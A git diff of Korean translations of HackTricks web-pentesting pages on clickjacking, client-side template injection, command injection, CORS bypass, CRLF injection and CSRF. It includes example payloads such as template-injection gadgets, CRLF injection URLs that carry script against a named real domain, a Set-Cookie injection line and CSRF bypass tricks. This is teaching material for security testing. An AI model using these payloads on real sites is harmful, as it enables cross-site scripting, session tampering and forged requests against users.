url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %} diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md index 106820843..13fecc05d 100644 --- a/src/pentesting-web/clickjacking.md +++ b/src/pentesting-web/clickjacking.md @@ -4,7 +4,7 @@ ## What is Clickjacking -클릭재킹 공격에서 **사용자**는 **보이지 않거나** 다른 요소로 위장된 웹페이지의 **요소**를 **클릭하도록 속아** 넘어갑니다. 이 조작은 사용자가 원치 않는 결과를 초래할 수 있으며, 예를 들어 악성 소프트웨어 다운로드, 악성 웹 페이지로의 리디렉션, 자격 증명 또는 민감한 정보 제공, 금전 이체, 또는 온라인 제품 구매 등이 있습니다. +클릭재킹 공격에서 **사용자**는 **보이지 않거나** 다른 요소로 위장된 웹페이지의 **요소**를 **클릭하도록 속아** 넘어갑니다. 이 조작은 사용자에게 의도치 않은 결과를 초래할 수 있으며, 예를 들어 악성 소프트웨어 다운로드, 악성 웹 페이지로의 리디렉션, 자격 증명 또는 민감한 정보 제공, 금전 이체, 또는 온라인 제품 구매 등이 있습니다. ### Prepopulate forms trick @@ -12,7 +12,7 @@ ### Populate form with Drag\&Drop -사용자에게 **양식을 작성하도록** 요청해야 하지만 특정 정보를 직접적으로 작성하라고 요청하고 싶지 않은 경우(예: 알고 있는 이메일 또는 특정 비밀번호), 사용자가 **Drag\&Drop**하여 제어된 데이터를 입력하도록 요청할 수 있습니다. [**이 예제**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)와 같이요. +사용자에게 **양식을 작성하도록** 요구해야 하지만 특정 정보를 직접적으로 요청하고 싶지 않은 경우(예: 알고 있는 이메일 또는 특정 비밀번호), 사용자가 **Drag\&Drop**하여 제어된 데이터를 입력하도록 요청할 수 있습니다. [**이 예제**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)와 같이요. ### Basic Payload ```markup @@ -91,7 +91,7 @@ background: #F00; 사용자가 XSS를 **트리거**하기 위해 어떤 요소를 클릭해야 하는 **XSS 공격**을 식별하고 페이지가 **클릭재킹**에 취약하다면, 사용자를 속여 버튼/링크를 클릭하도록 할 수 있습니다.\ 예시:\ -&#xNAN;_Y계정의 일부 개인 정보에서 **자기 XSS**를 발견했습니다(정보는 **오직 당신만 설정하고 읽을 수 있는** 정보입니다). 이러한 세부 정보를 설정하는 **양식**이 **클릭재킹**에 **취약**하며, GET 매개변수로 **양식**을 **미리 채울 수** 있습니다._\ +&#xNAN;_Y당신은 계정의 일부 개인 정보에서 **자기 XSS**를 발견했습니다(정보는 **오직 당신만 설정하고 읽을 수 있는** 정보입니다). 이러한 세부 정보를 설정하는 **양식**이 **클릭재킹**에 **취약**하며, GET 매개변수로 **양식**을 **미리 채울 수** 있습니다._\ \_\_공격자는 해당 페이지에 대한 **클릭재킹** 공격을 준비하여 **XSS 페이로드**로 **양식**을 **미리 채우고** **사용자**를 **제출**하도록 **속일 수** 있습니다. 따라서 **양식이 제출되면** 값이 수정되고, **사용자는 XSS를 실행하게 됩니다**. ## 클릭재킹 완화 전략 @@ -103,12 +103,12 @@ background: #F00; - 애플리케이션 창이 주 창 또는 상위 창인지 확인합니다. - 모든 프레임을 표시합니다. - 보이지 않는 프레임에서 클릭을 방지합니다. -- 잠재적인 클릭재킹 시도를 감지하고 사용자에게 경고합니다. +- 잠재적인 클릭재킹 시도에 대해 사용자를 감지하고 경고합니다. 그러나 이러한 프레임 버스터 스크립트는 우회될 수 있습니다: - **브라우저 보안 설정:** 일부 브라우저는 보안 설정이나 JavaScript 지원 부족에 따라 이러한 스크립트를 차단할 수 있습니다. -- **HTML5 iframe `sandbox` 속성:** 공격자는 `allow-top-navigation` 없이 `allow-forms` 또는 `allow-scripts` 값으로 `sandbox` 속성을 설정하여 프레임 버스터 스크립트를 무력화할 수 있습니다. 이는 iframe이 상위 창인지 확인하는 것을 방지합니다, 예를 들어, +- **HTML5 iframe `sandbox` 속성:** 공격자는 `allow-top-navigation` 없이 `allow-forms` 또는 `allow-scripts` 값으로 `sandbox` 속성을 설정하여 프레임 버스터 스크립트를 무력화할 수 있습니다. 이는 iframe이 자신이 상위 창인지 확인하는 것을 방지합니다, 예를 들어, ```html #### X-Frame-Options -**`X-Frame-Options` HTTP 응답 헤더**는 브라우저에 `` 또는 ` ### `child-src` 및 `frame-src`가 포함된 Content Security Policy (CSP) -**Content Security Policy (CSP)**는 브라우저가 콘텐츠를 로드할 수 있도록 허용해야 하는 소스를 지정하여 Clickjacking 및 기타 코드 주입 공격을 방지하는 보안 조치입니다. +**Content Security Policy (CSP)**는 브라우저가 콘텐츠를 로드할 수 있는 출처를 지정하여 Clickjacking 및 기타 코드 주입 공격을 방지하는 보안 조치입니다. #### `frame-src` 지시어 -- 프레임에 대한 유효한 소스를 정의합니다. +- 프레임에 대한 유효한 출처를 정의합니다. - `default-src` 지시어보다 더 구체적입니다. ``` Content-Security-Policy: frame-src 'self' https://trusted-website.com; @@ -158,7 +158,7 @@ Content-Security-Policy: frame-src 'self' https://trusted-website.com; #### `child-src` 지시어 - 웹 워커 및 프레임에 대한 유효한 출처를 설정하기 위해 CSP 레벨 2에서 도입되었습니다. -- frame-src 및 worker-src의 대체 역할을 합니다. +- frame-src 및 worker-src에 대한 대체 역할을 합니다. ``` Content-Security-Policy: child-src 'self' https://trusted-website.com; ``` diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index 567a8404f..438b0c56d 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -2,7 +2,6 @@ {{#include ../banners/hacktricks-training.md}} - ## 요약 이는 [**서버 사이드 템플릿 인젝션**](ssti-server-side-template-injection/)과 유사하지만 **클라이언트**에서 발생합니다. **SSTI**는 원격 서버에서 **코드를 실행**할 수 있게 해주지만, **CSTI**는 피해자의 브라우저에서 **임의의 JavaScript** 코드를 실행할 수 있게 해줍니다. @@ -43,7 +42,7 @@ A really good post on CSTI in VUE can be found in [https://portswigger.net/resea ``` {{_openBlock.constructor('alert(1)')()}} ``` -크레딧: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) +Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) ### **V2** ``` diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index a4a0a8b65..c1964d485 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,13 +2,14 @@ {{#include ../banners/hacktricks-training.md}} + ## What is command Injection? **명령 주입**은 공격자가 애플리케이션을 호스팅하는 서버에서 임의의 운영 체제 명령을 실행할 수 있도록 허용합니다. 그 결과, 애플리케이션과 모든 데이터가 완전히 손상될 수 있습니다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경 및 기본 시스템에 대한 무단 액세스 또는 제어를 얻을 수 있게 합니다. ### Context -**입력이 주입되는 위치**에 따라 명령 전에 **인용된 컨텍스트를 종료**해야 할 수도 있습니다(`"` 또는 `'` 사용). +**입력이 주입되는 위치**에 따라 명령을 실행하기 전에 **인용된 컨텍스트를 종료해야** 할 수도 있습니다(`"` 또는 `'` 사용). ## Command Injection/Execution ```bash @@ -117,7 +118,7 @@ powershell C:**2\n??e*d.*? # notepad ../linux-hardening/bypass-bash-restrictions/ {{#endref}} -## 브루트포스 탐지 목록 +## 브루트 포스 탐지 목록 {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %} diff --git a/src/pentesting-web/cors-bypass.md b/src/pentesting-web/cors-bypass.md index 31282fe13..eff4eaf15 100644 --- a/src/pentesting-web/cors-bypass.md +++ b/src/pentesting-web/cors-bypass.md @@ -10,14 +10,14 @@ Cross-Origin Resource Sharing (CORS) 표준은 **서버가 자산에 접근할 `http://normal-website.com/example/example.html`의 맥락에서 동일 출처 정책의 적용은 다음과 같이 설명됩니다: -| 접근한 URL | 접근 허용 여부 | -| ----------------------------------------- | --------------------------------------- | -| `http://normal-website.com/example/` | 예: 동일한 스킴, 도메인 및 포트 | -| `http://normal-website.com/example2/` | 예: 동일한 스킴, 도메인 및 포트 | -| `https://normal-website.com/example/` | 아니오: 다른 스킴 및 포트 | -| `http://en.normal-website.com/example/` | 아니오: 다른 도메인 | -| `http://www.normal-website.com/example/` | 아니오: 다른 도메인 | -| `http://normal-website.com:8080/example/` | 아니오: 다른 포트\* | +| 접근된 URL | 접근 허용 여부 | +| ----------------------------------------- | ------------------------------------- | +| `http://normal-website.com/example/` | 예: 동일한 스킴, 도메인 및 포트 | +| `http://normal-website.com/example2/` | 예: 동일한 스킴, 도메인 및 포트 | +| `https://normal-website.com/example/` | 아니오: 다른 스킴 및 포트 | +| `http://en.normal-website.com/example/` | 아니오: 다른 도메인 | +| `http://www.normal-website.com/example/` | 아니오: 다른 도메인 | +| `http://normal-website.com:8080/example/` | 아니오: 다른 포트\* | \*Internet Explorer는 동일 출처 정책을 시행할 때 포트 번호를 무시하므로 이 접근을 허용합니다. @@ -64,9 +64,9 @@ xhr.send("Arun") 특정 조건에서 교차 도메인 요청을 시작할 때, 예를 들어 **비표준 HTTP 메서드**(HEAD, GET, POST 이외의 모든 것)를 사용하거나 새로운 **헤더**를 도입하거나 특별한 **Content-Type 헤더 값**을 사용하는 경우, 사전 요청이 필요할 수 있습니다. 이 초기 요청은 **`OPTIONS`** 메서드를 활용하여 서버에 다가오는 교차 출처 요청의 의도를 알리며, 사용하려는 HTTP 메서드와 헤더를 포함합니다. -**Cross-Origin Resource Sharing (CORS)** 프로토콜은 요청된 교차 출처 작업의 가능성을 결정하기 위해 허용된 메서드, 헤더 및 출처의 신뢰성을 검증하는 이 사전 요청 검사를 의무화합니다. 사전 요청이 필요하지 않은 조건에 대한 자세한 이해는 [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)에서 제공하는 포괄적인 가이드를 참조하십시오. +**Cross-Origin Resource Sharing (CORS)** 프로토콜은 요청된 교차 출처 작업의 가능성을 결정하기 위해 허용된 메서드, 헤더 및 출처의 신뢰성을 확인하는 이 사전 요청 검사를 의무화합니다. 사전 요청이 필요하지 않은 조건에 대한 자세한 이해는 [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)에서 제공하는 포괄적인 가이드를 참조하십시오. -사전 요청이 없다고 해서 응답에 권한 부여 헤더가 포함되어야 하는 요구 사항이 사라지는 것은 아니라는 점에 유의하는 것이 중요합니다. 이러한 헤더가 없으면 브라우저는 교차 출처 요청의 응답을 처리할 수 없습니다. +사전 요청이 없다고 해서 응답에 권한 부여 헤더가 필요하지 않다는 것을 의미하지 않는다는 점에 유의하는 것이 중요합니다. 이러한 헤더가 없으면 브라우저는 교차 출처 요청의 응답을 처리할 수 없습니다. 다음은 `PUT` 메서드와 `Special-Request-Header`라는 사용자 정의 헤더를 사용하기 위한 사전 요청의 예시입니다: ``` @@ -77,7 +77,7 @@ Origin: https://example.com Access-Control-Request-Method: POST Access-Control-Request-Headers: Authorization ``` -응답으로 서버는 허용된 메서드, 허용된 출처 및 기타 CORS 정책 세부정보를 나타내는 헤더를 반환할 수 있습니다. 아래와 같이: +응답으로 서버는 허용된 메서드, 허용된 출처 및 기타 CORS 정책 세부 정보를 나타내는 헤더를 반환할 수 있습니다. 아래와 같이: ```markdown HTTP/1.1 204 No Content ... @@ -94,8 +94,8 @@ Access-Control-Max-Age: 240 - **`Access-Control-Request-Method`**: 이 헤더는 사전 요청에서도 사용되며, 클라이언트가 실제 요청에서 사용할 HTTP 메서드를 나타내기 위해 설정됩니다. - **`Origin`**: 이 헤더는 브라우저에 의해 자동으로 설정되며, 교차 출처 요청의 출처를 나타냅니다. 서버는 CORS 정책에 따라 수신 요청을 허용할지 거부할지를 평가하는 데 사용합니다. -일반적으로 (콘텐츠 유형 및 설정된 헤더에 따라) **GET/POST 요청에서는 사전 요청이 전송되지 않습니다** (요청이 **직접** 전송됨), 그러나 **응답의 헤더/본문에 접근**하려면 _Access-Control-Allow-Origin_ 헤더가 이를 허용해야 합니다.\ -**따라서, CORS는 CSRF로부터 보호하지 않지만 도움이 될 수 있습니다.** +일반적으로 (콘텐츠 유형 및 설정된 헤더에 따라) **GET/POST 요청에서는 사전 요청이 전송되지 않습니다** (요청이 **직접** 전송됨), 그러나 **응답의 헤더/본문에 접근하려면** _Access-Control-Allow-Origin_ 헤더가 허용되어야 합니다.\ +**따라서 CORS는 CSRF로부터 보호하지 않지만 도움이 될 수 있습니다.** ### **로컬 네트워크 요청 사전 요청** @@ -114,30 +114,30 @@ Content-Length: 0 ... ``` > [!WARNING] -> linux **0.0.0.0** IP는 해당 IP 주소가 "로컬"로 간주되지 않기 때문에 localhost에 접근하기 위한 요구 사항을 **우회**하는 데 작동합니다. +> Note that the linux **0.0.0.0** IP works to **bypass** these requirements to access localhost as that IP address is not considered "local". > -> **로컬 네트워크 요구 사항을 우회**하는 것도 가능합니다. **로컬 엔드포인트의 공용 IP 주소**(예: 라우터의 공용 IP)를 사용하면 됩니다. 여러 경우에, **공용 IP**에 접근하더라도, **로컬 네트워크**에서 접근하는 경우에는 접근이 허용됩니다. +> It's also possible to **bypass the Local Network requirements** if you use the **public IP address of a local endpoint** (like the public IP of the router). Because in several occasions, even if the **public IP** is being accessed, if it's **from the local network**, access will be granted. -### 와일드카드 +### Wildcards -다음 구성이 매우 허용적인 것처럼 보일 수 있다는 점에 유의하십시오: +다음 구성이 매우 허용적인 것처럼 보일 수 있다는 점에 유의하세요: ```bash Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true ``` -이것은 브라우저에서 허용되지 않으며, 따라서 자격 증명이 이 요청과 함께 전송되지 않습니다. +이것은 브라우저에서 허용되지 않으며, 따라서 자격 증명이 요청과 함께 전송되지 않습니다. ## 악용 가능한 잘못된 구성 `Access-Control-Allow-Credentials`를 **`true`**로 설정하는 것은 대부분의 **실제 공격**의 전제 조건으로 관찰되었습니다. 이 설정은 브라우저가 자격 증명을 전송하고 응답을 읽을 수 있도록 허용하여 공격의 효과를 높입니다. 이를 통해 사용자의 쿠키를 활용하는 것이 불가능해지므로, 브라우저가 요청을 발행하는 것의 이점이 줄어듭니다. -### 예외: 네트워크 위치를 인증으로 악용하기 +### 예외: 네트워크 위치를 인증으로 악용 피해자의 네트워크 위치가 인증의 한 형태로 작용하는 예외가 존재합니다. 이는 피해자의 브라우저를 프록시로 사용하여 IP 기반 인증을 우회하고 인트라넷 애플리케이션에 접근할 수 있게 합니다. 이 방법은 DNS 리바인딩과 유사한 영향을 미치지만, 악용하기가 더 간단합니다. ### `Access-Control-Allow-Origin`에서 `Origin`의 반영 -`Origin` 헤더의 값이 `Access-Control-Allow-Origin`에 반영되는 실제 시나리오는 이러한 헤더를 결합하는 것에 대한 제한으로 인해 이론적으로 불가능합니다. 그러나 여러 URL에 대해 CORS를 활성화하려는 개발자는 `Origin` 헤더의 값을 복사하여 `Access-Control-Allow-Origin` 헤더를 동적으로 생성할 수 있습니다. 이 접근 방식은 공격자가 합법적으로 보이도록 설계된 이름의 도메인을 사용할 경우, 검증 논리를 속여 취약점을 초래할 수 있습니다. +`Origin` 헤더의 값이 `Access-Control-Allow-Origin`에 반영되는 실제 시나리오는 이러한 헤더를 결합하는 것에 대한 제한으로 인해 이론적으로 불가능합니다. 그러나 여러 URL에 대해 CORS를 활성화하려는 개발자는 `Origin` 헤더의 값을 복사하여 `Access-Control-Allow-Origin` 헤더를 동적으로 생성할 수 있습니다. 이 접근 방식은 공격자가 합법적으로 보이도록 설계된 이름의 도메인을 사용할 경우, 검증 로직을 속일 수 있어 취약점을 초래할 수 있습니다. ```html ` - 이 URL에서 `%0d%0a%0d%0a`는 CRLFCRLF의 URL 인코딩된 형태입니다. 이는 서버를 속여 CRLF 시퀀스를 삽입하게 하여 서버가 이후 부분을 응답 본문으로 처리하게 만듭니다. -4. 서버는 응답 헤더에 공격자의 입력을 반영하여 악의적인 스크립트가 응답 본문의 일부로 브라우저에 의해 해석되는 의도치 않은 응답 구조를 초래합니다. +4. 서버는 공격자의 입력을 응답 헤더에 반영하여 악의적인 스크립트가 응답 본문의 일부로 브라우저에 의해 해석되는 의도치 않은 응답 구조를 초래합니다. #### 리디렉션으로 이어지는 HTTP Response Splitting의 예 @@ -55,7 +55,7 @@ Browser to: ``` /%0d%0aLocation:%20http://myweb.com ``` -서버는 다음과 같은 헤더로 응답합니다: +서버는 다음 헤더로 응답합니다: ``` Location: http://myweb.com ``` @@ -70,19 +70,21 @@ http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHT http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E ``` +더 많은 예시는 다음에서 확인하세요: + {% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %} ### HTTP 헤더 주입 -HTTP 헤더 주입은 CRLF (Carriage Return and Line Feed) 주입을 통해 자주 악용되며, 공격자가 HTTP 헤더를 삽입할 수 있게 합니다. 이는 XSS (Cross-Site Scripting) 필터나 SOP (Same-Origin Policy)와 같은 보안 메커니즘을 무력화할 수 있으며, CSRF 토큰과 같은 민감한 데이터에 대한 무단 접근이나 쿠키 심기를 통한 사용자 세션 조작으로 이어질 수 있습니다. +HTTP 헤더 주입은 종종 CRLF (Carriage Return and Line Feed) 주입을 통해 악용되며, 공격자가 HTTP 헤더를 삽입할 수 있게 합니다. 이는 XSS (Cross-Site Scripting) 필터나 SOP (Same-Origin Policy)와 같은 보안 메커니즘을 무력화할 수 있으며, CSRF 토큰과 같은 민감한 데이터에 대한 무단 접근이나 쿠키 삽입을 통한 사용자 세션 조작으로 이어질 수 있습니다. #### HTTP 헤더 주입을 통한 CORS 악용 -공격자는 HTTP 헤더를 주입하여 CORS (Cross-Origin Resource Sharing)를 활성화할 수 있으며, 이는 SOP에 의해 부과된 제한을 우회합니다. 이 침해는 악의적인 출처의 스크립트가 다른 출처의 리소스와 상호작용할 수 있게 하여, 보호된 데이터에 접근할 수 있게 합니다. +공격자는 HTTP 헤더를 주입하여 CORS (Cross-Origin Resource Sharing)를 활성화할 수 있으며, SOP에 의해 부과된 제한을 우회할 수 있습니다. 이 침해는 악의적인 출처의 스크립트가 다른 출처의 리소스와 상호작용할 수 있게 하여, 보호된 데이터에 접근할 수 있게 합니다. #### CRLF를 통한 SSRF 및 HTTP 요청 주입 -CRLF 주입은 완전히 새로운 HTTP 요청을 작성하고 주입하는 데 활용될 수 있습니다. 이의 주목할 만한 예는 PHP의 `SoapClient` 클래스의 취약점으로, 특히 `user_agent` 매개변수 내에서 발생합니다. 이 매개변수를 조작함으로써 공격자는 추가 헤더와 본문 내용을 삽입하거나, 심지어 완전히 새로운 HTTP 요청을 주입할 수 있습니다. 아래는 이 악용을 보여주는 PHP 예제입니다: +CRLF 주입은 완전히 새로운 HTTP 요청을 작성하고 주입하는 데 활용될 수 있습니다. 이의 주목할 만한 예는 PHP의 `SoapClient` 클래스의 취약점으로, 특히 `user_agent` 매개변수 내에서 발생합니다. 이 매개변수를 조작함으로써, 공격자는 추가 헤더와 본문 내용을 삽입하거나 심지어 완전히 새로운 HTTP 요청을 주입할 수 있습니다. 아래는 이 악용을 보여주는 PHP 예제입니다: ```php $target = 'http://127.0.0.1:9090/test'; $post_string = 'variable=post value'; @@ -115,7 +117,7 @@ $client->__soapCall("test", []); ``` GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1 ``` -그 후, 두 번째 요청을 지정할 수 있습니다. 이 시나리오는 일반적으로 [HTTP request smuggling](http-request-smuggling/)과 관련이 있으며, 서버가 주입 후 추가한 헤더나 본문 요소가 다양한 보안 취약점을 초래할 수 있는 기술입니다. +그 후, 두 번째 요청을 지정할 수 있습니다. 이 시나리오는 일반적으로 [HTTP request smuggling](http-request-smuggling/)과 관련이 있으며, 여기서 서버가 주입 후 추가한 헤더나 본문 요소가 다양한 보안 취약점을 초래할 수 있습니다. **악용:** @@ -135,7 +137,7 @@ Memcache는 **명확한 텍스트 프로토콜을 사용하는 키-값 저장소 ../network-services-pentesting/11211-memcache/ {{#endref}} -**전체 정보는**[ **원본 작성물**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) **을 읽어보십시오.** +**전체 정보는**[ **원본 작성물**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) **을 읽으십시오.** 플랫폼이 **HTTP 요청에서 데이터를 가져와 이를 정화하지 않고** **memcache** 서버에 **요청**을 수행하는 경우, 공격자는 이 동작을 악용하여 **새로운 memcache 명령을 주입**할 수 있습니다. @@ -157,7 +159,7 @@ Memcache는 **명확한 텍스트 프로토콜을 사용하는 키-값 저장소 ### CHEATSHEET -[여기에서 Cheatsheet](https://twitter.com/NinadMishra5/status/1650080604174667777) +[여기에서 치트시트를 확인하세요](https://twitter.com/NinadMishra5/status/1650080604174667777) ``` 1. HTTP Response Splitting • /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie) diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md index f44cb00bf..0064e7118 100644 --- a/src/pentesting-web/csrf-cross-site-request-forgery.md +++ b/src/pentesting-web/csrf-cross-site-request-forgery.md @@ -1,51 +1,51 @@ -# CSRF (Cross Site Request Forgery) +# CSRF (크로스 사이트 요청 위조) {{#include ../banners/hacktricks-training.md}} -## Cross-Site Request Forgery (CSRF) Explained +## 크로스 사이트 요청 위조 (CSRF) 설명 -**Cross-Site Request Forgery (CSRF)**는 웹 애플리케이션에서 발견되는 보안 취약점의 일종입니다. 이는 공격자가 인증된 세션을 악용하여 무심코 사용자를 대신해 행동을 수행할 수 있게 합니다. 공격은 피해자의 플랫폼에 로그인한 사용자가 악성 사이트를 방문할 때 실행됩니다. 이 사이트는 JavaScript 실행, 양식 제출 또는 이미지 가져오기와 같은 방법을 통해 피해자의 계정에 요청을 트리거합니다. +**크로스 사이트 요청 위조 (CSRF)**는 웹 애플리케이션에서 발견되는 보안 취약점의 일종입니다. 이는 공격자가 인증된 세션을 악용하여 무심코 사용자를 대신해 행동을 수행할 수 있게 합니다. 공격은 피해자의 플랫폼에 로그인한 사용자가 악성 사이트를 방문할 때 실행됩니다. 이 사이트는 JavaScript 실행, 양식 제출 또는 이미지 가져오기와 같은 방법을 통해 피해자의 계정에 요청을 트리거합니다. -### Prerequisites for a CSRF Attack +### CSRF 공격을 위한 전제 조건 CSRF 취약점을 악용하기 위해서는 여러 조건이 충족되어야 합니다: 1. **가치 있는 행동 식별**: 공격자는 사용자의 비밀번호, 이메일 변경 또는 권한 상승과 같은 악용할 가치가 있는 행동을 찾아야 합니다. -2. **세션 관리**: 사용자의 세션은 쿠키 또는 HTTP Basic Authentication 헤더를 통해서만 관리되어야 하며, 다른 헤더는 이 목적을 위해 조작할 수 없습니다. -3. **예측 불가능한 매개변수의 부재**: 요청에는 예측할 수 없는 매개변수가 포함되어서는 안 되며, 이는 공격을 방해할 수 있습니다. +2. **세션 관리**: 사용자의 세션은 쿠키 또는 HTTP 기본 인증 헤더를 통해서만 관리되어야 하며, 다른 헤더는 이 목적을 위해 조작할 수 없습니다. +3. **예측 불가능한 매개변수의 부재**: 요청에는 예측할 수 없는 매개변수가 포함되지 않아야 하며, 이는 공격을 방지할 수 있습니다. -### Quick Check +### 빠른 점검 **Burp에서 요청을 캡처**하고 CSRF 보호를 확인할 수 있으며, 브라우저에서 **Copy as fetch**를 클릭하여 요청을 확인할 수 있습니다:
-### Defending Against CSRF +### CSRF 방어 CSRF 공격으로부터 보호하기 위해 여러 가지 대응책을 구현할 수 있습니다: -- [**SameSite cookies**](hacking-with-cookies/#samesite): 이 속성은 브라우저가 교차 사이트 요청과 함께 쿠키를 전송하는 것을 방지합니다. [SameSite 쿠키에 대한 자세한 내용](hacking-with-cookies/#samesite). -- [**Cross-origin resource sharing**](cors-bypass.md): 피해자 사이트의 CORS 정책은 공격의 실행 가능성에 영향을 미칠 수 있으며, 특히 공격이 피해자 사이트의 응답을 읽어야 하는 경우에 그렇습니다. [CORS 우회에 대해 알아보기](cors-bypass.md). +- [**SameSite 쿠키**](hacking-with-cookies/#samesite): 이 속성은 브라우저가 크로스 사이트 요청과 함께 쿠키를 전송하는 것을 방지합니다. [SameSite 쿠키에 대한 자세한 내용](hacking-with-cookies/#samesite). +- [**교차 출처 리소스 공유**](cors-bypass.md): 피해자 사이트의 CORS 정책은 공격의 실행 가능성에 영향을 미칠 수 있으며, 특히 공격이 피해자 사이트의 응답을 읽어야 하는 경우에 그렇습니다. [CORS 우회에 대해 알아보기](cors-bypass.md). - **사용자 확인**: 사용자의 비밀번호를 요청하거나 캡차를 해결하도록 요구하면 사용자의 의도를 확인할 수 있습니다. -- **Referrer 또는 Origin 헤더 확인**: 이러한 헤더를 검증하면 요청이 신뢰할 수 있는 출처에서 오는지 확인하는 데 도움이 됩니다. 그러나 URL을 신중하게 작성하면 잘못 구현된 검사를 우회할 수 있습니다, 예를 들어: +- **참조자 또는 출처 헤더 확인**: 이러한 헤더를 검증하면 요청이 신뢰할 수 있는 출처에서 오는지 확인하는 데 도움이 됩니다. 그러나 URL을 신중하게 작성하면 잘못 구현된 검사를 우회할 수 있습니다, 예를 들어: - `http://mal.net?orig=http://example.com` (URL이 신뢰할 수 있는 URL로 끝남) - `http://example.com.mal.net` (URL이 신뢰할 수 있는 URL로 시작함) - **매개변수 이름 수정**: POST 또는 GET 요청의 매개변수 이름을 변경하면 자동화된 공격을 방지하는 데 도움이 될 수 있습니다. -- **CSRF 토큰**: 각 세션에 고유한 CSRF 토큰을 포함하고 이후 요청에서 이 토큰을 요구하면 CSRF의 위험을 크게 줄일 수 있습니다. 토큰의 효과는 CORS를 강제함으로써 향상될 수 있습니다. +- **CSRF 토큰**: 각 세션에 고유한 CSRF 토큰을 포함하고 이후 요청에서 이 토큰을 요구하면 CSRF의 위험을 크게 줄일 수 있습니다. CORS를 강제 적용하면 토큰의 효과를 더욱 높일 수 있습니다. 이러한 방어를 이해하고 구현하는 것은 웹 애플리케이션의 보안과 무결성을 유지하는 데 중요합니다. -## Defences Bypass +## 방어 우회 -### From POST to GET +### POST에서 GET으로 -악용하려는 양식이 **CSRF 토큰과 함께 POST 요청을 보내도록 준비되어 있을 수 있지만**, **GET** 요청도 **유효한지** 확인하고 GET 요청을 보낼 때 **CSRF 토큰이 여전히 검증되는지** 확인해야 합니다. +악용하려는 양식이 **CSRF 토큰이 있는 POST 요청을 보내도록 준비되어 있을 수 있지만**, **GET** 요청도 **유효한지** 확인하고 GET 요청을 보낼 때 **CSRF 토큰이 여전히 검증되는지** 확인해야 합니다. -### Lack of token +### 토큰 부족 -애플리케이션은 **토큰이 존재할 때** 이를 **검증하는 메커니즘**을 구현할 수 있습니다. 그러나 토큰이 없을 때 검증이 완전히 생략되면 취약점이 발생합니다. 공격자는 **토큰을 포함하는 매개변수를 제거**하여 이를 악용할 수 있으며, 이는 검증 프로세스를 우회하고 Cross-Site Request Forgery (CSRF) 공격을 효과적으로 수행할 수 있게 합니다. +애플리케이션은 **토큰이 존재할 때** 이를 **검증하는 메커니즘**을 구현할 수 있습니다. 그러나 토큰이 없을 때 검증이 완전히 생략되면 취약점이 발생합니다. 공격자는 토큰을 담고 있는 매개변수를 **제거**하여 이를 악용할 수 있습니다. 이렇게 하면 검증 프로세스를 우회하고 효과적으로 크로스 사이트 요청 위조 (CSRF) 공격을 수행할 수 있습니다. -### CSRF token is not tied to the user session +### CSRF 토큰이 사용자 세션에 연결되지 않음 애플리케이션이 **CSRF 토큰을 사용자 세션에 연결하지 않는 경우** 상당한 **보안 위험**이 발생합니다. 이러한 시스템은 각 토큰이 시작 세션에 바인딩되어 있는지 확인하는 대신 **전역 풀**에 대해 토큰을 검증합니다. @@ -55,9 +55,9 @@ CSRF 공격으로부터 보호하기 위해 여러 가지 대응책을 구현할 2. **전역 풀에서 유효한 CSRF 토큰을 얻습니다**. 3. **이 토큰을 사용하여** 피해자에 대한 CSRF 공격을 수행합니다. -이 취약점은 공격자가 피해자를 대신하여 무단 요청을 수행할 수 있게 하며, 애플리케이션의 **부적절한 토큰 검증 메커니즘**을 악용합니다. +이 취약점은 공격자가 피해자를 대신하여 무단 요청을 수행할 수 있게 하여 애플리케이션의 **부적절한 토큰 검증 메커니즘**을 악용합니다. -### Method bypass +### 메서드 우회 요청이 "**이상한**" **메서드**를 사용하고 있다면, **메서드** **오버라이드 기능**이 작동하는지 확인하십시오. 예를 들어, **PUT** 메서드를 사용하고 있다면 **POST** 메서드를 사용하여 **보낼 수 있습니다**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ @@ -67,16 +67,16 @@ CSRF 공격으로부터 보호하기 위해 여러 가지 대응책을 구현할 - _X-HTTP-Method-Override_ - _X-Method-Override_ -### Custom header token bypass +### 사용자 정의 헤더 토큰 우회 요청이 **CSRF 보호 방법**으로 **토큰**이 포함된 **사용자 정의 헤더**를 추가하고 